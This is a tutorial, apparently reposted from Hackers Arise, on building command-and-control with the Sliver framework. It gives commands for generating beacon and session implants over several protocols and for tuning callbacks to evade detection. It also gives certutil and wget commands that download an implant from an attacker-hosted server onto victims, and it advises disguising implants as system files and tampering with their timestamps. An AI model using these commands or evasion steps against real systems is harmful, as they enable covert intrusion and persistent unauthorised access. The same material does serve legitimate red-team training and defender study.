National Cyber Warfare Foundation (NCWF)

Sessions, Beacons, and Implant Fundamentals Welcome back, cyberwarriors. As we move deeper into the practical workings of Sliver, this second part of our series explores the foundation of every command and control (C2) operation: implants, sessions, and beacons. These core components give Sliver its flexibility and effectiveness across diverse target environments. Understanding how Sliver facilitates […]

The post Sliver: Building Command and Control(C2) During a Cyber War, Part 2 – Sessions, Beacons, and Implant Fundamentals first appeared on Hackers Arise.

Sessions, Beacons, and Implant Fundamentals

Welcome back, cyberwarriors.

As we move deeper into the practical workings of Sliver, this second part of our series explores the foundation of every command and control (C2) operation: implants, sessions, and beacons. These core components give Sliver its flexibility and effectiveness across diverse target environments. Understanding how Sliver facilitates communication between attacker and target is essential for building reliable and stealthy infrastructure, especially in high-stakes engagements or hostile environments.

At the heart of Sliver’s implant system lies its ability to generate cross-platform payloads, targeting Windows, Linux, and macOS with support for both 32-bit and 64-bit architectures. These implants operate in one of two modes: beacon or session. Each has distinct operational implications, with beacon mode designed for stealth and long-term persistence, and session mode built for immediacy and hands-on control. Choosing the right mode for the right moment can determine whether your operation remains covert or gets flagged and contained.

Beacons

In beacon mode, implants behave like quiet observers. After initial deployment, they go dormant and only wake at scheduled intervals, typically every 10, 30, or 60 seconds to check in with the C2. During these brief moments, they send any collected data and retrieve new tasks, before vanishing back into sleep. This model limits network activity, minimizes risk of detection, and is ideal for maintaining access without drawing attention. Jitter is an element of randomness applied to the check-in timing which adds another layer of stealth by preventing detectable patterns in network traffic. You can customize the callback interval using the –seconds argument and apply jitter using –jitter, making the implant more evasive and unpredictable.

Beacon implants in Sliver can be generated over various transport protocols, including HTTP(S), DNS, mTLS, named pipes, and WireGuard. Each of these offers trade-offs in stealth, reliability, and setup complexity. For example, HTTP beacons are fast to deploy and flexible, but may be caught by traditional intrusion detection systems. DNS beacons, on the other hand, are extremely useful in tightly restricted environments where only DNS traffic is permitted, though they are inherently slower and less reliable. WireGuard-based implants use ephemeral VPN tunnels to maintain stealth and isolate traffic, while mTLS provides mutual certificate-based authentication between implant and server, hardening the C2 channel against impersonation or interception. For each protocol type, you need a corresponding listener: an mTLS listener for mTLS, an HTTP listener for HTTP, a DNS listener for DNS, and so on.

HTTP Beacon

To create a beacon implant, Sliver provides a straightforward syntax. For instance, an HTTP beacon targeting a Linux system with jitter and a short callback interval can be created using:

sliver > generate beacon –http –os linux –arch 386 –format elf –jitter 4 –seconds 5 –save /root/web/http_beacon

Then set up a listener for this beacon:

sliver > http

The above command generates an ELF binary compatible with 32-bit Linux systems. –jitter here sets up the jitter time of the callback from the implant in a manner that will fluctuate based on the value, and –seconds, which allows us to set the time interval of the callback. The default value for –seconds is set to 60, meaning every sixty seconds we will receive a callback to check up or output the results of our command.

After a successful deployment, you’ll notice that a connection has been established. This indicates that the deployment was completed correctly and the target is now actively communicating. At this point, you can use the beacons command to list all active beacons. This allows you to monitor and interact with the systems that have successfully connected back.

It’s crucial to match the correct architecture with your target environment, for this use uname -m on a Linux victim to retrieve the architecture string

Or systeminfo on a Windows host to determine whether you’re working with a 32 or 64-bit installation.

A mismatch will render your implant useless, that is why you should refer to the table below.

Although the table is primarily for Linux, you can use it for Windows as well. For 62-bit Windows systems use amd64 and for 32-bit systems use 386. The information on your host can be found in systeminfo

DNS Beacon

Creating DNS beacons follows a similar pattern, but with more operational complexity. The implant will communicate by embedding encrypted data inside DNS queries, requiring that you have a DNS listener already configured and operational on your C2 infrastructure. For example:

sliver > generate beacon –dns –seconds 10 –jitter 0 –save /tmp/dns.exe

This creates a Windows DNS beacon that checks in every 10 seconds. Since DNS-based communication is fragile, we do not recommend it unless you really have to.

WireGuard Beacon

WireGuard-based implants offer another layer of evasion by encapsulating the entire communication within a WireGuard tunnel that only exists temporarily during beacon check-ins. Once the data exchange is complete, the tunnel is torn down. The implant includes all the necessary cryptographic configuration:

sliver > generate beacon –wg –os linux –arch amd64 –format elf –save /root/web/wg_beacon.exe

MTLS Beacon

Similarly, mTLS implants conduct encrypted check-ins over mutually authenticated TLS sessions, ensuring both the implant and server can verify each other’s identity before exchanging data. This mode is highly secure and recommended for sensitive environments:

sliver > generate beacon –mtls –os windows –arch amd64 –format exe

Once a beacon is running, you can convert it into a fully interactive session using the interactive command:

sliver (http-beacon) > interactive

This initiates a live session while leaving the original beacon intact. The dual-mode functionality gives operators the flexibility to escalate their level of access depending on current operational needs and security constraints.

Sessions

While beacons excel at stealth and long-term persistence, sessions provide immediacy and raw capability. When a Sliver implant enters session mode, it maintains a persistent, always-on connection to your C2. The session behaves like a full-featured remote shell, allowing for real-time command execution, file transfers, screenshot capture, port forwarding, process injection, and more. Sessions can be generated across the same transport protocols: HTTP, DNS, WireGuard, and mTLS. Their deployment syntax mirrors that of beacons:

sliver > generate –mtls –os windows –arch amd64 –format exe –save /root/web/session.exe

These sessions remain active until the connection is intentionally closed or disrupted by the environment. However, their continuous nature creates consistent network signatures, increases the risk of detection, and often generates logs, especially if antivirus or endpoint detection tools are present. In short, sessions are noisy, and while they’re powerful for immediate post-exploitation activity, they must be used carefully.

You can use the sessions command to display all active sessions. This provides a comprehensive view of the currently available session handles, allowing you to manage ongoing access, interact with specific targets, and execute commands as needed within each session context.

Delivery

Once the payload is generated, the next logical step is delivery. The most straightforward method is to serve the payload from your machine using Python’s built-in HTTP server. From the same directory where your Sliver-generated implant resides, you can spin up a simple web server:

c2 > python3 -m http.server

Or using a specific port

c2 > python3 -m http.server 443

With the payload hosted, transportation depends on the target’s operating system. On Windows, certutil.exe can be used to download the implant. It’s a native utility and less likely to be blocked by default policy. The command looks like this:

PS > certutil.exe -urlcache -split -f http://:8000/spoolsvc.exe C:\Windows\Temp\spoolsvc.exe

On Linux, the wget utility is typically available and can be used in a similar fashion:

target > wget http://:8000/systemd-bod -O /lib/systemd/systemd-bod

target > chmod +x /lib/systemd/systemd-bod

Note on Implants

Once you’ve generated implants, organize them carefully. Store payloads in directories separated by OS and architecture, and always name them using context-appropriate, benign-sounding filenames. If you plan to place your binaries into system directories like System32 or /lib, ensure their names and file attributes blend in with the native files. Timestamp tampering is essential to avoid raising suspicion. Sliver provides the chtimes command for this purpose:

sliver (session) > chtimes file.exe “2024-01-02 12:00:00” “2024-01-02 12:00:00”

This updates both the access and modification timestamps to match existing system files, helping you remain hidden in plain sight.

Conclusion

Understanding the differences between beacon and session modes is important for operational success with Sliver. Beacons grant you silent persistence but sessions deliver immediate power. Both have a place in your toolkit, and knowing when and how to deploy them along with choosing the correct protocol is what shows your competence. With the groundwork for implants now firmly laid, we’re ready to escalate.

In Part 3, we will move into privilege escalation on Windows targets, exploring how to leverage existing tools to elevate access and establish long-term control. Stay sharp.